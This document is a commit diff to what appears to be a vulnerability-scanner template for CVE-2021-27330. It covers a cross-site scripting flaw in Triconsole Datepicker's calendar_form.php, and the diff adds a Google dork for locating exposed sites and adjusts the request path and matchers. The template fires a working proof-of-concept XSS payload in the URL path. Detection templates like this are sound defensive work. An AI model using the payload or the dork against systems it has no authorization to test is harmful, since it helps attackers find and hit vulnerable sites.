Adding google dork, fix path, adding some matchers

cves/2021/CVE-2021-27330.yaml

@@ -2,12 +2,12 @@ id: CVE-2021-27330
 
 info:
   name: Triconsole 3.75 XSS
-  author: pikpikcu
+  author: pikpikcu,daffainfo
   severity: medium
-  description: Triconsole Datepicker Calendar <3.77 is affected by cross-site scripting (XSS) in calendar_form.php. Attackers can read authentication cookies that are still active, which can be used to perform further
+  description: Triconsole Datepicker Calendar <3.77 is affected by cross-site scripting (XSS) in calendar_form.php. Attackers can read authentication cookies that are still active, which can be used to perform further attacks such as reading browser history, directory listings, and file contents.
-    attacks such as reading browser history, directory listings, and file contents.
+  reference: https://www.exploit-db.com/exploits/49597
-  reference:
+  metadata:
-    - https://www.exploit-db.com/exploits/49597
+    google-dork: intitle:TriConsole.com - PHP Calendar Date Picker
   classification:
     cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
     cvss-score: 6.1
@@ -18,19 +18,21 @@ info:
 requests:
   - method: GET
     path:
-      - '{{BaseURL}}/calendar_form.php/"><script>alert(document.domain)</script>'
+      - '{{BaseURL}}/calendar/calendar_form.php/"><script>alert(document.domain)</script>'
+
     matchers-condition: and
     matchers:
-
       - type: word
-        words:
-          - "<script>alert(document.domain)</script>"
         part: body
+        words:
+          - '<script>alert(document.domain)</script>'
+          - '<title>TriConsole.com - PHP Calendar Date Picker</title>'
+        condition: and
 
       - type: word
+        part: header
         words:
           - "text/html"
-        part: header
 
       - type: status
         status: